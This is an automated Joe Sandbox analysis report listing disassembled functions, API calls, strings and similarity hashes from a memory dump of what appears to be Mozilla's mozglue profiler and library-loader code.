Part of subcall function 6C68AB3F: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68AB7C

GetCurrentThreadId.KERNEL32 ref: 6C66485F
GetCurrentThreadId.KERNEL32 ref: 6C66487E
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66488B
free.MOZGLUE(?), ref: 6C66493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C664956
free.MOZGLUE(00000000), ref: 6C664960
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66499A

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

free.MOZGLUE(?), ref: 6C6649C6
free.MOZGLUE(?), ref: 6C6649E9

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Strings

[I %d/%d] profiler_shutdown, xrefs: 6C664A06
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C6647FC
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C664828
MOZ_PROFILER_SHUTDOWN, xrefs: 6C664A42
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C664812

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 21d231439b3aeb972dff8dc6797452225e9d0fe7018f2695c1c12f90be17e923
Instruction ID: 293c3bd29150b65420c401d9490c4a137bcc40bf04f2f5a2f0f5404c09a1b792
Opcode Fuzzy Hash: 21d231439b3aeb972dff8dc6797452225e9d0fe7018f2695c1c12f90be17e923
Instruction Fuzzy Hash: D3810470A001009BDB14DF2BC8A476A3775AF82329F140629D916D7F46D7B1F845CB9F

Function 6C664470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C664730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6644B2,6C6DE21C,6C6DF7F8), ref: 6C66473E
Part of subcall function 6C664730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C66474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C6644BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C6644D2
InitOnceExecuteOnce.KERNEL32(6C6DF80C,6C65F240,?,?), ref: 6C66451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C66455C
LoadLibraryW.KERNEL32(?), ref: 6C664592
InitializeCriticalSection.KERNEL32(6C6DF770), ref: 6C6645A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C6645AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C6645BB
InitOnceExecuteOnce.KERNEL32(6C6DF818,6C65F240,?,?), ref: 6C664612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C664636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C664644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C66466D
VerSetConditionMask.NTDLL ref: 6C66469F
VerSetConditionMask.NTDLL ref: 6C6646AB
VerSetConditionMask.NTDLL ref: 6C6646B2
VerSetConditionMask.NTDLL ref: 6C6646B9
VerSetConditionMask.NTDLL ref: 6C6646C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6646CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C6646F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C6646FD

Strings

l, xrefs: 6C664578
user32.dll, xrefs: 6C664557, 6C66463F
Gml, xrefs: 6C6644FC
WRusr.dll, xrefs: 6C6644B5
NativeNtBlockSet_Write, xrefs: 6C6646F7
kernel32.dll, xrefs: 6C6644CD

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gml$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-884719140
Opcode ID: 7f36ea0ce7a6cd817d4207c682ef3097cf320b583f35835c022c5327a6ca0a1b
Instruction ID: eab5048da82757be091df25168019b24db7482201df077dfba6ea1edc53506d4
Opcode Fuzzy Hash: 7f36ea0ce7a6cd817d4207c682ef3097cf320b583f35835c022c5327a6ca0a1b
Instruction Fuzzy Hash: AE6106B0604244AFEB00DF63D895BA57BB8EF86348F04C458E5049BA41D7F1AA85CF9F

Function 6C69F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C69F8F9

Part of subcall function 6C666390: GetCurrentThreadId.KERNEL32 ref: 6C6663D0
Part of subcall function 6C666390: AcquireSRWLockExclusive.KERNEL32 ref: 6C6663DF
Part of subcall function 6C666390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C66640E

ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F93A
GetCurrentThreadId.KERNEL32 ref: 6C69F98A
GetCurrentThreadId.KERNEL32 ref: 6C69F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F716

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

Part of subcall function 6C65B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C65B5E0

GetCurrentThreadId.KERNEL32 ref: 6C69F739
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F746
GetCurrentThreadId.KERNEL32 ref: 6C69F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C6D385B,00000002,?,?,?,?,?), ref: 6C69F829
free.MOZGLUE(?,?,00000000,?), ref: 6C69F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C69F866
free.MOZGLUE(?), ref: 6C69FA0C

Part of subcall function 6C665E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C665E8C
Part of subcall function 6C665E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665E9D
Part of subcall function 6C665E60: GetCurrentThreadId.KERNEL32 ref: 6C665EAB
Part of subcall function 6C665E60: GetCurrentThreadId.KERNEL32 ref: 6C665EB8
Part of subcall function 6C665E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665ECF
Part of subcall function 6C665E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C665F27
Part of subcall function 6C665E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C665F47
Part of subcall function 6C665E60: GetCurrentProcess.KERNEL32 ref: 6C665F53
Part of subcall function 6C665E60: GetCurrentThread.KERNEL32 ref: 6C665F5C
Part of subcall function 6C665E60: GetCurrentProcess.KERNEL32 ref: 6C665F66
Part of subcall function 6C665E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C665F7E

free.MOZGLUE(?), ref: 6C69F9C5
free.MOZGLUE(?), ref: 6C69F9DA

Strings

Thread , xrefs: 6C69F789
" attempted to re-register as ", xrefs: 6C69F858
[D %d/%d] profiler_register_thread(%s), xrefs: 6C69F71F
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C69F9A6

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: b1212e13894a61565bf873e0a71522ff3f24380dbdd5ad14f6d00f76d55e6a09
Instruction ID: ac30982e706685506d0b69bd6c31d6219e903b9dfed3c3e8203c429b5339d853
Opcode Fuzzy Hash: b1212e13894a61565bf873e0a71522ff3f24380dbdd5ad14f6d00f76d55e6a09
Instruction Fuzzy Hash: 908106716042019FDB10DF25C880AAEB7B5EFC6308F55456DE8499BB51EB30E849CBAF

Function 6C69EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69EE60
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EE6D
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C69EEA5
CloseHandle.KERNEL32(?), ref: 6C69EEB4
free.MOZGLUE(00000000), ref: 6C69EEBB
GetCurrentThreadId.KERNEL32 ref: 6C69EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69EECF

Part of subcall function 6C69DE60: GetCurrentThreadId.KERNEL32 ref: 6C69DE73
Part of subcall function 6C69DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C664A68), ref: 6C69DE7B
Part of subcall function 6C69DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C664A68), ref: 6C69DEB8
Part of subcall function 6C69DE60: free.MOZGLUE(00000000,?,6C664A68), ref: 6C69DEFE
Part of subcall function 6C69DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C69DF38

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

GetCurrentThreadId.KERNEL32 ref: 6C69EF1E
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EF2B
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EF59
GetCurrentThreadId.KERNEL32 ref: 6C69EFB0
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EFBD
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EFE1
GetCurrentThreadId.KERNEL32 ref: 6C69EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F000

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C69F02F

Part of subcall function 6C69F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C69F09B
Part of subcall function 6C69F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C69F0AC
Part of subcall function 6C69F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C69F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C69EED7
[I %d/%d] profiler_pause, xrefs: 6C69F008

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 50cf38773bf96c03438fd58e1a0dbcecab98bc745bc5edc233a6154d42347645
Instruction ID: 54bae6752647e8a262a5c2443303edca6c75c1bed4f4c2427930dd117207f867
Opcode Fuzzy Hash: 50cf38773bf96c03438fd58e1a0dbcecab98bc745bc5edc233a6154d42347645
Instruction Fuzzy Hash: EC5126316002129FDB005F66D8887A97BB4FF8B36DF14456AE91683B42DB747805CBAF

Function 6C667FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C668007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C66801D

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C66802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C66803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C66808D

Part of subcall function 6C66CA10: mozalloc_abort.MOZGLUE(?), ref: 6C66CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C66809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C6680B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C6680DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6680ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6680FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C66810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C668133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C668149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C668167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C66817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C668199

Strings

0>il, xrefs: 6C66811E

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>il
API String ID: 2721933968-262214330
Opcode ID: 6daa6ad6a1aa670d2460bd2e6b046e11d15abd9a6f15b4c48b4a63c30e3842e9
Instruction ID: 83c4bbc69237aee19b48065aac150f773266d4b0cc0585ffd672a350faed6229
Opcode Fuzzy Hash: 6daa6ad6a1aa670d2460bd2e6b046e11d15abd9a6f15b4c48b4a63c30e3842e9
Instruction Fuzzy Hash: 925192B1E002056BDB00DFAADC809EFB7B9EF4A324F140525E815E7751E730AD05CBAA

Function 6C665E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665E9D

Part of subcall function 6C675B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6756EE,?,00000001), ref: 6C675B85
Part of subcall function 6C675B50: EnterCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675B90
Part of subcall function 6C675B50: LeaveCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675BD8
Part of subcall function 6C675B50: GetTickCount64.KERNEL32 ref: 6C675BE4

GetCurrentThreadId.KERNEL32 ref: 6C665EAB
GetCurrentThreadId.KERNEL32 ref: 6C665EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C666017

Part of subcall function 6C654310: moz_xmalloc.MOZGLUE(00000010,?,6C6542D2), ref: 6C65436A
Part of subcall function 6C654310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C6542D2), ref: 6C654387

moz_xmalloc.MOZGLUE(00000004), ref: 6C665F47
GetCurrentProcess.KERNEL32 ref: 6C665F53
GetCurrentThread.KERNEL32 ref: 6C665F5C
GetCurrentProcess.KERNEL32 ref: 6C665F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C665F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C665F27

Part of subcall function 6C66CA10: mozalloc_abort.MOZGLUE(?), ref: 6C66CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C665E8C

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C66605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C6660CC

Strings

GeckoMain, xrefs: 6C665ECE, 6C666015

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 211275ea6b9994ee602de484c5dd006bb7ae7fee4f0c774230fc7d995417a863
Instruction ID: 2cd89fd41bcb337c7bb41e7ff879147b1e396609699be3e1535cb98365efdae5
Opcode Fuzzy Hash: 211275ea6b9994ee602de484c5dd006bb7ae7fee4f0c774230fc7d995417a863
Instruction Fuzzy Hash: 6371BFB06047409FD710DF2AD480A6ABBF0FF8A304F54496DE58687F52D731E948CB9A

Function 6C669590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6531C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C653217
Part of subcall function 6C6531C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C653236
Part of subcall function 6C6531C0: FreeLibrary.KERNEL32 ref: 6C65324B
Part of subcall function 6C6531C0: __Init_thread_footer.LIBCMT ref: 6C653260
Part of subcall function 6C6531C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C65327F
Part of subcall function 6C6531C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C65328E
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6532AB
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6532D1
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6532E5
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C6532F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C669675
__Init_thread_footer.LIBCMT ref: 6C669697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C669707
__Init_thread_footer.LIBCMT ref: 6C66971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6697B7
FreeLibrary.KERNEL32 ref: 6C6697D0
FreeLibrary.KERNEL32 ref: 6C6697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669824

Strings

ntdll.dll, xrefs: 6C6696E3
NtMapViewOfSection, xrefs: 6C669701
MapViewOfFileNuma2, xrefs: 6C6697B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C669670

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: fd55bb060ca324fad644d0592b8733138f23f4a485bfe4bfee0cdb20c0154ef6
Instruction ID: 99e33e289692ab79beea46c92a1b769f038b8cec121decf90c14e6842b775f47
Opcode Fuzzy Hash: fd55bb060ca324fad644d0592b8733138f23f4a485bfe4bfee0cdb20c0154ef6
Instruction Fuzzy Hash: AF61B0716002069BDF008F67E8D4BDA7BB1EB8A358F118529ED1597B80D770B854CBAF

Function 6C6B6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6694
GetThreadId.KERNEL32(?), ref: 6C6B66B1
GetCurrentThreadId.KERNEL32 ref: 6C6B66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C6B66E1
EnterCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6734
GetCurrentProcess.KERNEL32 ref: 6C6B673A
LeaveCriticalSection.KERNEL32(6C6DF618), ref: 6C6B676C
GetCurrentThread.KERNEL32 ref: 6C6B67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C6B6868
RtlCaptureContext.NTDLL ref: 6C6B687F

Strings

WalkStack64, xrefs: 6C6B6890

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
